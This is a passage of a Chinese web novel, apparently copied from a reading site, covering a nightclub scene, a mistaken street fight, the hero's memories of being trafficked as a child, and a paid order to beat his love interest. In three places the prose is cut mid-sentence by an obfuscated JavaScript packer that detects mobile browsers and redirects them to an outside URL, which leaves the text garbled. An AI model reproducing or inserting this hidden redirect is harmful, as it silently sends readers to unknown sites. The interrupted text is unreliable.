见杨峋英像是听到了什么出乎意料的话,陈远豪也觉得有些冒昧了,可嘴上调侃道:“好歹也是有缘分,再说了,之前我还帮你解了围,让你赢了一千多万,这都不能算朋友?可别过河拆桥啊。” “你是不是不方便加?”陈远豪考虑到这种情况。不方便就算了。 “那倒不是,”杨峋英低笑道,“既然你不介意我可能带来的麻烦,那我就不跟你客气了。这世上多少人一辈子都未必能有一面之缘,咱们能接连遇上,确实是难得的机缘。”说着掏出了手机,俩人加了微信。 陈远豪又灌了一杯酒,下肚后整个人都觉得顺畅了不少。也不知道自己为什么想要“保护”对方,可能是觉得他“单纯”吧。 其实单不单纯,都不好说,人心是最难测的东西,他不了解他的家庭背景、真实脾性、过往经历,甚至连名字都不清楚,只知道叫阿英。 许是那份莫名的吸引力在作祟,觉得有眼缘,不需要了解任何,跟着自己的心走就好。社会纵然复杂,可人与人之间的相处,本就可以纯粹些,不必掺杂太多算计与考量。 “兄弟,你的‘臀’能不能不要贴我……我又不是GAY”,白刚欲言又止的声音传来。陈远豪闻声瞥向他,这小子新学了个词就瞎用,轻嗤一声后,目光扫向那边。 舞池里正热闹得很,人影随着重低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305416|182815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音晃成一片。白刚倒是有天生的律动天分,别看他胖,扭动起来四肢却相当协调。 目光停留片刻,他转回视线对杨峋英提议:“别光顾着喝了,喝多了睡死在这儿,要不要去舞池那边玩玩?” * “阿豪,你来了。”崔贤浑身都沾着啤酒沫,玩得太疯,被酒水泼了一身。 “嗯。” 音乐正嗨,人群跳着奔放的舞步。陈远豪抬起手臂,下意识搂住杨峋英劲瘦的腰身,随着节奏摆动。 原本到了嘴边的“你太瘦了,我一只胳膊都能环下来”,却在手掌不经意摸到他腹部时咽了回去。 那腹肌跟砖块一样码在身上,紧实得很。 都来夜场了,还讲究什么矜持分寸,玩得开心最重要。见杨峋英没躲,陈远豪的手便不老实起来,指尖在他腹肌上肆无忌惮地摸了几下。 突然,有一只手扣住了他,指腹轻轻蹭过他作乱的手背,带着点若有似无的痒意。 陈远豪抬眼,撞进杨峋英弯着的眼尾里:“手这么不老实?摸够了没,还是想再摸会儿?” 陈远豪手顿了顿,倒没收回,反而得寸进尺地又捏了下那紧实的腹肌,挑眉笑得痞气:“摸够了哪还会停?再说了,你也没躲啊。难不成,你还挺喜欢?” 杨峋英没接话,只笑着抬了抬眼,指尖顺着陈远豪的手背滑下去,勾住他的手指,慢慢扣紧成十指相扣的模样,任由他摸着。 陈远豪余光瞥见,北城夜场的外模正跳得兴奋,身形魁梧的他半蹲下来,示意崔贤爬上自己的背。 崔贤巴不得呢,爽快地就要爬上去,结果被身旁的于浩拦了下来。 “你干嘛啊?”崔贤一脸懵逼地问。 于浩沉默几秒,喉结生涩地滚了一遭,沉声道:“你那么重,别给人压死,到时候还得赔医药费。” 崔贤不服气,干脆把半截袖撸了上去,露出细白的胳膊,愤愤道:“我这么苗条,你说我重!要不你明天配个眼镜吧。”他一把推开于浩,刚想去找那老外,却见对方已经背起了别人。 舞池里不少人都互相背着,双手跟着节拍挥舞,周围一片起哄欢呼。 陈远豪扫视一圈,觉得挺有意思。 忽地,他的目光对上杨峋英,对方原本就足够撩人的眼神里,他的身影清晰落进那深不见底的眸子里,又掀起几分波澜。 只见他做了个“上来”的手势。陈远豪理解意思后,又问了一次:“你确定能背动我?” 他身高184,虽然还在长身体,体重不算重,但个头摆在那儿,难免担心杨峋英会不会承受不住。 杨峋英几乎是宠溺的口吻,反问:“不信我?怕我把你摔下来?”眼神里又透出“上来”的示意。 看样子对自己蛮自信的。陈远豪心想。反正如果摔下来,就一起摔,老爷们连这点磕碰都扛不住,还叫什么老爷们。 “那倒不是,主要是怕把你腰闪着。” 杨峋英半蹲下来,陈远豪也没扭捏,利落地爬了上去。 对方站直身体后,陈远豪才发现,背着自己的漂亮男人,身高居然比人高马大的外模还出挑,一下子让他成了整个夜场人群里的最高点。 让他意外的是,杨峋英的脊背稳得很,连带着脚步都没晃一下。 他混不吝地笑了笑,抬手捏了把对方软中带劲的腰侧,语气里带着点痞气的调侃:“好腰。” 此时正放着韩流音乐,杨峋英跟着节奏扭动起来,没想到他居然还会跳韩国男团舞蹈。 EXO的《LOTTO》响起,这首歌旋律抓耳,电子音效与性感节奏交织得极具感染力。 陈远豪也随着音乐旋律晃悠起来,强劲的电子节拍、居高临下将整片舞池尽收眼底的视野,加上之前又喝了几杯度数不小的酒,这会儿这股子热乎劲儿也上来了,让陈远豪更加兴奋,感觉自己SLAY全场。 可当目光不经意间扫过杨峋英线条分明的侧脸,那股子狂欢的兴奋忽然像被什么东西轻轻拽了一下,慢慢沉淀下来。 陈远豪摸着杨峋英的脖颈,低下头,目光落在他的脸颊上。 触手可及的距离里,连他睫毛颤动的弧度都看得清晰。 陈远豪眼底翻涌着难言的情绪,像藏着深邃涌动的暗流。 绷到极致的氛围,好像再也不受控制。 他缓缓贴在杨峋英耳边,温热的呼吸拂过对方耳廓。 用气音说:“欧巴,撒拉嘿。” 7. 第 7 章 翌日,陈远豪在酒店醒来。昨夜在夜店狂欢至深夜,索性就在附近找了家酒店歇脚。 他睁着眼睛对着天花板发了好一会儿怔,意识渐渐回笼后,一只手枕在脑后。 “欧巴,撒拉嘿。” 怎么就莫名其妙地凑到人家耳边说出了这句话? 一定是白刚那家伙平时总看韩剧,把他也给带偏了。 可是。 当他说完之后,阿英的身体明显僵硬了一瞬,须臾,转过头,暧昧地对他说:“撒拉嘿。” 夜店暗红色的光漫在阿英的侧脸上,他特意放轻了语气,字句裹着浅淡的呼吸落在他的耳畔。 当时他们的脸近得鼻尖几乎要碰到一起。那一刻,陈远豪只觉得比电视剧里的任何情话都要动人,自己整个人都被拢进一团软乎乎的暖雾里。 回想到这里,他的心脏猛地颤了一下。 越来越离谱,他把手遮在眼睛上。他们又不熟,夜店那种环境,本就容易让人上头、思维不受控。 陈远豪不是一个爱胡思乱想的人,他是个混混,没爹没妈,成天在社会上混,追求的就是自由洒脱,他也觉得自己向来没心没肺。所以,不过是夜店偶遇,说了句不着边际的话,没什么大不了的,犯不着在这儿揪着不放。 他放下遮在眼睛上的手,眼神有些涣散地望着窗帘缝隙透进来的微光,体内那股因回忆而起的躁动还在隐隐作祟。 用力闭了闭眼,试图将那些纷乱的思绪压下去。 过了好一会儿,他才缓缓坐起身。 他掀开被子下床,穿上拖鞋,正准备走向浴室洗漱,门突然响了。 陈远豪开了门,发现是白刚,手里拿着一个一次性纸杯,递给了他:“早上你没起来,我给你带了点醒神的蜂蜜水,喝了能舒服点。” 陈远豪说了句“行啊,学会有眼力见了”,接过杯子,确实有点渴了,便喝了下去。 他转身去了浴室,打开水龙头,冷水哗哗地顺着洗手池往下流,白刚也紧跟着凑了进来,一脸八卦地打量着他:“我说,你是不是……” 陈远豪:?? “昨天快结束离场时,你挽着的那个男人是谁啊?一进夜店你就跟他坐一块儿了。” 陈远豪接着水,任由冷水打在脸上,顿了下,含糊地说:“朋友。” “你家朋友是这么挽着的?”白刚说着,就伸出胳膊圈住旁边的空气,模仿着陈远豪昨晚半扶半揽着杨峋英的姿势,胳膊还微微用力往自己这边带了带。 “他喝醉了,我送他到门口。”陈远豪洗完脸,拿起白毛巾擦着脸,语气平静地说道。 “白刚你在这儿啊,”门没关,崔贤走了进来,一把搂住白刚的肩膀说,“酒店有免费的豪华自助午餐,赶紧去吃,一会儿过了时间退房,可就蹭不上了。” 一提到豪华自助,白刚眼睛都亮了。刚才还挂在嘴边的那句“不对啊,我昨天在外面接电话时,碰上他的司机来接他,他跟司机一起走的时候,脚步稳得很,哪像喝醉的样子”,瞬间被抛到了脑后。 “先吃烤肉好还是先吃海鲜好……不对,先吃点水果,水果不占肚子……”说着就屁颠屁颠地跟崔贤走了。 崔贤走之前还不忘回头嘱咐一句:“阿豪,你也快点来,一会儿人该多了。” “嗯。” 屋里只剩下陈远豪一个人。他对着镜子皱了皱眉,像是想甩掉什么心事似的,摇了摇头。 * 蹭上午餐后,陈远豪坐地铁回出租屋,往地铁站走的路上,他正想着下周要找什么工作。 虽然现在手里有点闲钱,但也不能坐吃山空混吃等死。况且他天生就是闲不下来的性子,总觉得日子得多去外面闯闯、接触些人和事才精彩。 可现在,北城任何一个岗位都卡学历,连餐厅端盘子都得要大专文凭。 “你别拉我,我不去!求求你了,我不去!”走到小巷子里,男孩的啼哭声打断了陈远豪的思绪。 “别叫了,快走!”一个身材壮硕的男人拽着瘦弱的小男孩,像拖着个不情愿的麻袋似的用力往前扯。 陈远豪的眸子定在那处,黑沉沉的,像蒙着层化不开的雾,又像是失了焦。 直到白刚走了几步发现身边没人,才回头看见他钉在原地。 “阿豪,看什么呢?” 陈远豪像没听见,手指一点点攥成拳头。那双本就锐利的眼睛,此刻像是混杂着愤怒,还有一丝说不清的恐惧。 那嚎啕大哭的男孩被男人拖到附近的停车位,眼看着男人就要拉开车门。陈远豪突然像疯了似的冲过去,跑到男人面前,胳膊肘狠狠撞开男人的手,顺势将小男孩往自己身后一拽。 然后,扬手就朝男人脸上哐哐来了两拳,直接把人揍得摔在地上。 陈远豪又一把攥住男人的衣领,将人提起来,跟着抬脚又踹了过去。 那男人被揍得晕头晕脑,语气又急又懵:“你是疯了还是报复社会?你凭什么打人?” 陈远豪眼皮都没抬一下,眼看着又要挥下去。小男孩扑了过来,细瘦的手臂圈住他的腰,抽泣道:“哥哥,你别打了,他是我爸!” 他是我爸。 这几个字像块石头,咚地砸进陈远豪放空的脑子里,拽回了半分清明。 他侧过头,眼神发直,像是第一次看清面前的人似的,愣愣地低着眼。 白刚几人也被这突如其来的场面惊得没了反应,先是怔在原地,两秒后才回过神,慌忙跑了过去。 “我说你要动手,好歹学学于浩找个背阴没人的地方,这大马路上人来人往的......”白刚把陈远豪拉到一边,咂着嘴说。 “你说,他是你爸?”陈远豪目光还带着未散的锐度,却又蒙着层怔忪,盯着小男孩问道。 “对啊,他是我爸爸。”小男孩说着,起身慢慢把男人扶了起来。 “那他刚才.....”那架势,跟抢孩子似的。陈远豪话到嘴边又咽了回去。 “我送儿子去补习班,碍着你什么事了?”男人被揍得龇牙咧嘴,“你这是故意伤人!我报警抓你,让你蹲局子去!”说着就在兜里摸出手机,被白刚一把抢走。 “报什么警啊,有事好商量不是?”白刚赔着笑,“你看你这不是还能站着跟咱理论吗?嗓门比喇叭还亮,真要伤着了哪有这劲头?” “把手机还我!” 白刚哪儿能让他抢着?跟逗小猫似的左躲右闪,一会儿把手机举过头顶,一会儿又藏到背后,嘴上还不停劝着:“别激动别激动,动气伤肝,有话咱好好说嘛。” 崔贤把瞎闹腾的白刚拽到一边,从他手里抽过手机还给男人,指了指自己太阳穴:“先生,其实吧,我弟弟脑子有点问题,真把他送进去,警方也未必会立案追责。再说您看,伤得不算重,我们赔医药费,您多担待点,这事就这么了了,成吗?” “爸爸,哥哥不是故意的,我一拦他就停手了,你别把他交给警察叔叔好不好?” 男人瞥了眼还愣在那儿、眼神发飘的陈远豪,看着倒真像有点问题。他嘴角勾起一抹算计的笑,拽了把身边的孩子,不耐烦地啧了一声:“我儿子还得去上课,实在懒得在这耗着。不报警也行,拿四千块赔偿金来。” “你这口是狮子口啊?”白刚咋舌,“这点皮外伤,去医院顶天了一千块,多出来的钱买肉吃啊?” 男人冷哼:“谁知道脑袋有没有被打坏,会不会留下后遗症?还有这肚子,保不齐内脏都受了震荡!” 崔贤也想再讲讲价,陈远豪像是终于从混沌里挣脱出来,拍了拍他的肩膀,走到男人面前:“钱怎么给你。” 男人亮出微信二维码,陈远豪扫了码,又多转了两百。打了无辜的人本就是他的错,没什么不敢认的。 男人走后,白刚凑过来问:“阿豪,你刚才怎么了?突然就冲上去打人?” 陈远豪的眸子暗了一瞬,喉结动了动,语气听着像没事人似的:“没事,看错了,以为是抢劫。” 说着,双手插兜,继续往地铁站的方向悠哉游哉地走。 那些沉在过去的糟心事,没必要拎出来说。 方才那男人拽着小男孩往车里塞时,陈远豪眼里瞬间浮现出的,是人贩子拖拽孩子的场景。 而他自己,也是被人贩子卖进山里,跌跌撞撞成了现在这副样子。 陈远豪记事起,就待在个穷山坳里。他天生是个乐天派,哪怕日子过得贫穷又闭塞,也总爱琢磨点开心事,对家里人始终热络,从没抱怨过生活的苦。 可这热络像投入空谷的石子,落不到实处。 父母和爷奶待他,总隔着层看不见的东西。不算坏,却也绝不像村里其他爹娘那样,把孩子护在怀里疼。那种淡淡的疏离,让他说不出具体的滋味,只感觉自己从没体会过被亲人捧在手心的感觉。 直到七岁那年,母亲怀了孕,后来生了个弟弟。那时他刚上小学二年级,一天晚上放学回来,父母突然对他说:“别念书了,家里供不起两个孩子,回来帮我们干活吧。” 小小年纪的陈远豪,心里头最大的念想就是好好念书,将来考出去,带着一家人走出这大山。他也确实做到了,成绩在班里总是头一份,老师总夸他有出息,说他将来肯定能走出这穷山沟。 让他退学?他怎么能甘心。 那天他吃饭时听见父母在商量给弟弟攒奶粉钱,吃完饭后,他走进房间,带着几分小心翼翼的恳切商量:“爸,妈,别让我退学好不好?学费我以后挣了加倍还,我会好好学,将来带你们去城里住大房子。” 父亲先是漠然地听着他的诉求,最后不耐烦地一脚踹在他身上:“犟什么犟!家里说了算还是你说了算?滚出去!” 他后背撞在门框上,还想再求,父亲劈头盖脸地指着门口说:“给我滚!” 多次恳求都落了空,陈远豪只能退了学,跟着家里人下地干活。 他始终想不明白,为什么弟弟一出生,家人对他的态度会有这么大的变化。 心里纵然失望,年幼的他还是一遍遍劝自己:不能恨,生养一场不容易。 可弟弟渐渐长大,那份区别对待像雨后的青苔,在日子里疯长,越来越扎眼。 原来家里不是没钱,只是那点钱从不属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原来他连当“长工”的资格都快要没了。他以为这么多年来,自己作为“儿子”,也真心实意对待过他们。可在他们眼里,他从来都只是个可以随时换钱的物件,连亲儿子上学的学费都比不上。 他攥着拳头,指甲深深掐进掌心,却感觉不到一丝疼,只有一片麻木的冷。 后来,陈远豪一边帮家里干活,一边偷偷把偶尔得到的零钱藏起来,一点点攒着。两个月下来,总算凑够了一张离开大山的车票钱。 他要彻底离开这个令人窒息的地方。他要为自己重新活一次。 可他那时年纪太小,连部手机都没有,更别说认路了。揣着那点钱坐上长途汽车,一路颠簸到北城郊区,钱就见了底。 他站在车水马龙的路边,看着陌生的街景,连周围的路名都说不上来,只能凭着感觉瞎走。手里分文没有,饿了整整三天,全靠路人指点着往城区方向挪,好不容易挪到七环,人已经眼冒金星,双腿像灌了铅,连站都快站不稳了。 七环一带和郊区没什么两样,住户稀稀拉拉的。他晕乎乎地晃到街头,碰上了开着小货车收快递的白刚。白刚见他脸色惨白地瘫在路边,赶紧停下车,看他实在撑不住,直接把人抱上了车,送去了附近的医院。 后来,陈远豪搬到了离北城市中心较近的城区边缘。 他跟着白刚住在一个五户合租的宿舍里,那会儿年纪实在太小,北城正规的厂子、店铺都不敢收童工,他几乎没什么收入来源。 不过白刚看着不着调,为人却极仗义,自己碗里有一口吃的,就绝不会让陈远豪饿着。他还记挂着帮陈远豪找亲生父母,这些年没少陪他折腾。在网上发布寻亲信息、跑过派出所查户籍档案、调早年报案记录......可每次都是空欢喜。 后来总算在XX城,从他父母当年的一个朋友那儿打听到了下落。 陈远豪三岁那年被拐走后,他父母像是疯了一样,变卖了所有家产四处寻亲,足迹踏遍了大半个中国,钱花光了,人也熬完了,终究没找到半点音讯。 母亲受不了这打击,整日以泪洗面,最后郁结成疾,熬了两年还是没能撑过去。 而父亲,丢了儿子又没了妻子,像是被抽走了魂魄,再也提不起半点生活的劲头。他开始没日没夜地喝酒,只能依靠酒精麻/痹神经,没过几个月,就在一个大雪纷飞的夜里,一头栽倒在路边的雪堆里,再也没能醒过来。 确认双亲都不在人世后,陈远豪到了十六七岁,又结识了一帮年纪相仿的兄弟。这帮人大多也快成年,碰上些不那么卡年龄的小作坊、物流公司,便托关系进去打零工,搬货、卸货、跟着跑趟子。活儿不轻,工资也少得可怜,基本上这个月赚的钱撑不到月底就花光了,可几个人挤在出租屋里,凑钱买瓶啤酒就能聊到后半夜,日子过得热热闹闹,倒也开心。 那些尘封的过往,像是被北城的风渐渐吹散了。他从不去想,也懒得回头看,能过一天是一天,痛快一天算一天,反正天塌下来有兄弟们一起扛,哪有那么多闲工夫沉在旧事里较劲。 走到地铁口,陈远豪抬眼望向万里无云的天空,阳光洒在肩头,暖融融的。方才那点翻涌的戾气和沉郁像是被晒化了,心里头敞亮得很。 日子总归是往前过的。 8. 第 8 章 回到出租屋的陈远豪,大长腿一迈就上了上铺,往床上一躺,一条腿随意地搭在另一条腿上,指尖划着手机屏幕刷着消息。 下铺的崔贤探出头来:“兄弟们,房东来催租了,每人平摊1500,水电费各30,记得转给他。” “这么快一个月就过去了?”白刚说,点开了花呗提现,“钱这东西,是真不禁花......” “可不是嘛,一个月挣的那点辛苦钱,三分之一得填进房租里......” 陈远豪没多话,默默把钱转给了房东。他们租的这处老小区,在北城核心区外围,选在这儿,就是图离市中心近,找工作、跑活儿都方便些。 四个人合租的这套房面积不大,被隔成了类似大学宿舍的上下铺格局,外带一个开放式厨房和一间独立浴室。比起那些鸽子笼似的隔间,环境算是敞亮些的。这一带住的多是像他们这样来北城讨生活的外地人,烟火气浓,租金也比核心区便宜不少。 可即便是这样,在寸土寸金的北城,这么一个四十多平的房子,租金也要6000块,分摊到每个人头上,仍是笔不小的开销。 陈远豪划着朋友圈,头一条恰好是房东发的动态,说自家这套老房子打算出手,字里行间透着几分急于变现的意思。 屋里另外三个人也刷到了,白刚挠了挠头:“咱们这租房合同签的是多久来着?” “签了一年期,押一付一,每月按时缴租。”崔贤答得利落。 “这么说,下个月就满一年了,月底前咱们就得搬走?” “是啊,当初就是看上这儿能月付这点。要是找的下一家要求按季度缴,咱们几个怕是得全靠花呗先垫着。哎,又要折腾来折腾去找房子了……” 陈远豪点进房东发的房源详情,标价70万,房主特意注明“急售,低价出”。这价格在北城确实不算高。首付25万,按还款计划算下来,月供4500。 他随手翻了翻自己的账单流水:借了白刚两万,做SPA是600一位,四个人就是2400;夜店花了2980;酒店四间房2000;回来路上动手打人,又赔了4200。 这不过是周五到周六一天的开销。自从手里有了那30万,他便想着放开手脚体验一番,选择的全是些档次不低的服务。可这才多久,三万多就没了影。照这种流水般的花法,再过十天,那点钱怕是就得见了底。 陈远豪目光微微放空,陷入了沉思。 这些年他凭着几分头脑,确实比白刚他们多赚些小钱,算是几人里手头最宽裕的一个。但他向来觉得生活本就该及时享乐,没什么攒钱的念头,手里的钱也留不住。 可下一个三十万,谁知道要等到猴年马月?与其把这些钱挥霍一空,倒不如用来做点实在事。 白刚打小就是孤儿,连爹妈长什么样都不知道;崔贤父亲早逝,母亲改嫁后,他跟着爷爷奶奶长大,前两年连最后一个亲人奶奶也走了;至于于浩,自小在单亲家庭长大,没人正经管过,后来被寄养在远房亲戚家,可寄人篱下的日子终究难熬,没住多久便自己搬了出来,一个人摸爬滚打至今。 他们几个,没一个是天生想当混混的,不过是被命运推着走到了这一步。即便都是些缺了亲人疼爱的孩子,身处社会底层,可兄弟几个凑在一起,你帮我衬着,倒也拼凑出了一个像模像样的家。 陈远豪的视线又落回房东那条朋友圈上,指尖在屏幕上顿了顿。一个念头突然冒了出来:不如把这房子盘下来。 他可以先拿出钱来付首付,剩下的月供由兄弟几个一起分担,房产证上就写上他们四个人的名字。这样一来,谁都有了个踏踏实实的落脚地。不再像浮萍似的漂着。 有了这个想法,陈远豪心里顿时有了计较,打算这两天就抽时间查查这房子的产权情况,问问周边的市价,把该了解的都弄清楚。如果是各方面都合适,就把它买下来。 “我去,把这人拉到郊外,做个处理。”崔贤的声音从于浩床位那边传来。 陈远豪斜睨了一眼,俩人正并排躺在床上,脑袋凑在一块儿盯着手机屏幕。 “你又翻那个群?真打算为了这点钱接活?我告诉你别去,这种事太险。”崔贤的声音拔高了些,带着急意。 于浩嘴角勾起一抹几不可察的弧度,淡淡地瞥了他一眼:“你说不去就不去?管得倒挺宽。” “我这是为你好,你怎么还抬杠?”崔贤动了气,脸都涨红了,“万一打出个好歹,进去蹲几天都算轻的,犯不着为这点钱赌上自己。” 对于“处理”,陈远豪理解的意思,就是把人狠狠地揍一顿,但别揍死。 于浩以前混过“代打”。早年间于浩为了糊口,确实接过硬活儿,替人出头、动手教训人,但也只是些皮肉上的小冲突,从没沾过让人大出血或是动刀子的亡命勾当。自打跟崔贤认识后,这行当他就彻底搁下了。 可毕竟混过那圈,手里总有些老关系。以前道上认识的人组了个群,里头常有些“活儿”。大多是上头老板放出的话,谁得罪了人,想找几个“下手”出口气,群里接了单,按规矩拿钱。 旁人听着似乎只是动手打一架,背后又有“靠山”罩着,出了事能摆平,打手也基本能脱身,否则这群早解散了。 可这世上哪有稳赚不赔的买卖?所谓的“保护”,不过是没捅出大篓子前的虚话,真要是打出人命或是撞上硬茬,谁还会管你死活?到头来蹲局子、扛罪责的,还不是这些拿命换钱的底下人。 “你要是敢去,我就——” “你就怎么样?”于浩扬了扬眉,眼里倒没什么火气,反而带点戏谑。 崔贤话到嘴边顿了顿,梗着脖子撂下一句:“我就把你那破床板给拆了,让你回来连个躺的地儿都没有,有本事就死外头别回来!” 陈远豪正悠闲地刷着手机视频,听着两人一来一往地拌嘴,直到于浩不咸不淡地“嗯”了一声,算是应下了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305418|182815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不过说真的,这男的长得也太出挑了吧?是我见过最好看的。要是被打了,该多可惜啊。”崔贤摸着下巴,盯着群里的照片啧啧称奇。 他没注意到,于浩的脸色沉了一瞬,声音也跟着低了几分:“最好看?” “可不是嘛。”崔贤没听出异样,自顾自地说,“好看的男人分帅和俊两种,可总觉得差点意思。其实啊,‘雌雄同体’的才是极品。你看他,眉宇间带着点性感的妖气,又有几分撩人的风情,可男性的硬朗劲儿却没丢,半分不显得娘气,绝了。” 陈远豪脑子里忽然浮出一个人影。那个俊美邪魅、仿佛天神降临的男人。 他还清晰地记得对方那带着魔力的温柔磁性嗓音,在自己耳边轻轻拂过。 想到这些,陈远豪心脏就没来由地一阵轻颤。 崔贤完全没注意到于浩那声轻哼,继续从化妆师的角度点评:“你看这浅色头发,换个长得一般点的男人就像不务正业的混子了,他留着却……” “浅色头发?”陈远豪顿了一下,像是被什么蛰了下,眉头微微蹙起。 “对啊,浅得发金呢。对了,这人我总感觉最近好像在哪见过......” 崔贤话没说完,就被陈远豪打断:“照片给我看看。” “这能外传吗?哎算了,你看吧阿豪,别跟……” “别人说”还飘在半空,陈远豪已经翻身跳下床,两步走到于浩床边,一把将他手里的手机夺了过来。 陈远豪的目光刚落在照片上,瞳孔猛地一缩,随即是铺天盖地的慌乱。 “上面的人,是要花钱动这个人?”他看向于浩,声音里带着自己都没察觉的发紧。 本就憋着股气的于浩冷着脸,从鼻子里挤出个“嗯”字。 陈远豪只觉得心口沉得发闷,沉默须臾,又低头看向屏幕。那“雇主”标出的价格,竟比市面上的行情高出了好几倍。 到底是谁要对阿英下手? 他不过是个普通员工,上次输了一千多万,就说家里要破产了。在富贵云集的北城里,这样的中产到底得罪了什么人,能值得对方下这么大的本钱? “阿豪,你怎么了?”崔贤见他很明显的脸色不对,忍不住问道。 “你知道动手的人是谁吗?”陈远豪问于浩。其实他心里清楚,这种事向来是藏得严严实实,问了也是白问。 可他还是抱着一丝侥幸,盼着能从于浩嘴里撬出点消息。 于浩话不多,只摇了摇头。 他说不知道,那就是真的不知道了。 陈远豪像是被抽走了所有力气,指尖有些发僵地把手机还给于浩。 爬上床,他摸出自己的手机,脑子里只有一个念头:得把这事告诉阿英。 可转念又想,这种单子接了也未必会真的落实,中间变数太多。 更何况,他现在又以什么立场去说? 他们,其实根本不算熟。 9. 第 9 章 不管熟不熟,救人一命胜造七级浮屠。 陈远豪从烟盒里摸出一根烟,金属打火机“咔嗒”打开,点燃后叼在唇角,借着烟草的辛辣稍稍压下心头的烦躁。 指尖悬在屏幕上片刻,还是划开了杨峋英的微信对话框,斟酌着用词,敲敲删删,打了句“最近别单独出门”又觉得太突兀,删了重输“上下班多留心”...... 如此往复几次,一反常态地敲下了一段很官方的话。 C:【你最近注意一下安全,上下班途中务必提高警惕,建议尽量与他人同行,避免单独前往人流稀少或环境偏僻的区域。】 会不会觉得这话没头没尾? 会不会压根没领会到他话里的提醒? 陈远豪问于浩:“要是这任务没取消,那些‘代打’大概会在什么时候出手?” “这我哪能知道?”于浩淡声说,“但行里的规矩,一般委托指令下来后,执行动作不会拖太久,顶多这两天,肯定有动静。” 陈远豪盯着微信对话框的眼神沉了沉。 第一个小时,没人回。 第二个小时,没人回。 “……”陈远豪无语了。都什么年代了,谁不是手机不离手?大周末的,怎么会有人好几个小时都不看一眼消息? 他想做点别的转移注意力,可心里像被什么东西揪着似的,空落落的慌,又沉甸甸的闷。 这种坐立难安的感觉,有点像电视剧里演的那种等喜欢的人回消息的状态,手上刷着短视频,眼睛却总往微信图标那儿飘,脑子里忍不住猜东猜西,一会儿想“是不是没看见”,一会儿又怕“看见了没当回事”。 实在按捺不住,他干脆点开了杨峋英的朋友圈。 最新一条停在上周,夜场卡座上两只酒杯映着灯红酒绿,上一条是西餐厅里暮色浸着银叉白盘—— 连着几条不是玩就是吃,日子过得比他这个混混还混。 再往上翻,一段蹦迪视频晃得人眼晕,杨峋英举着威士忌跟着重低音晃头,背景里尖叫与碰杯声交织,将现场的喧闹热烈烘托得淋漓尽致,光看着就玩得尽兴。 除了吃就是玩。陈远豪越翻越皱眉,手指却没停,直到划到201X年的动态。 照片里的杨峋英还是初中生模样,在镜面墙练舞室跟外国男孩跳韩团舞,脚步卡着节拍又稳又准,抬手转体的弧度比旁人利落半截,一看就是下过苦功的。 可对着镜子笑时,唇角只轻轻挑了下,眼神像蒙着层雾,那点笑意浮在脸上,薄得一戳就破,有种说不出的勉强。 看完全部动态,阿英看样子是从小就在国外长大的。早年朋友圈动态的定位背景全是M国的建筑,学校活动照片里也是不同肤色的同学,想来是从小学一路读到大学毕业,没怎么在国内待过。 按他说的家中产来看,这样的家境本该让他过得衣食无忧,可从动态里看,他总像藏着心事,不怎么开心似的。 他应该就是最近一两个月才刚回国的。之前他说他是杨俊伟的远方表哥,这么想来,难不成是大学刚毕业,就回了国,进杨家旗下的公司任职了? 陈远豪不知道在手机前耗了多久,中间实在等得心烦,还拨了通微信电话,结果没人接。后来困意上来了,他才迷迷糊糊地歪在床上睡着了。 他向来睡眠好,几乎没尝过失眠的滋味,可这晚不知是几点,竟突然惊醒过来。 脑子里一片空白,手却先一步摸向了枕边的手机。 终于回复了。 SHMILY:【谢谢,你也多顾着自己安全。】 陈远豪盯着这短短一行字,唇角抽了抽,一股气差点没顺过来。 合着他提心吊胆,搁这儿瞎操心大半天,全是自己吃饱了撑的?人家倒好,隔了半天才回这么句不痛不痒的,打发谁呢。 他飞快地敲着屏幕,带着点没处撒的火:【这么晚才回复,电话也不接,又去哪浪了?】 SHMILY:【和朋友出去了,不好意思,才看到。】 C:【我跟你说的那些话你记着点。别整天跟只撒欢的猫似的到处跑,小心哪天被人拐去给缅甸当免费劳力都不知道。要是你真被人拐了,我就算翻山越岭也得追过去,好看你出的洋相。】 气显然没消,字里行间都带着股阴阳怪气的劲儿。发完消息,陈远豪把手机往床上一扔,扯过被子蒙住头想接着睡。 可翻来覆去半天,脑子反倒越来越清醒。 * 即便觉得这是没事瞎折腾,可这两天实在没别的安排,闲得难受,倒不如找件事来打发时间。 于是陈远豪翌日一早就去了杨峋英上班的D集团,找了个隐蔽的角落蹲守着,既能看清商务楼门口的动静,又不至于被旁人注意到。 一整个白天下来,一切看着都如常,来来往往的大多是穿着西装的职员,没见着什么形迹可疑的面孔。 等到傍晚,陈远豪拦了辆出租车,不远不近地跟着刚下班的杨峋英,看着对方进了一家藏在老胡同里的粤菜菜馆。 这胡同窄窄的,两侧是斑驳的砖墙,来往的多是附近居民,人流量比主干道少了不少。 明明叮嘱过他别去人少的地方,他偏不听,二十多岁的人了,怎么还一身反骨。 陈远豪没跟进去,就在胡同口旁的一棵老槐树下站定,抬手压了压鸭舌帽的帽檐,目光始终锁着菜馆的门帘,等着杨峋英出来。 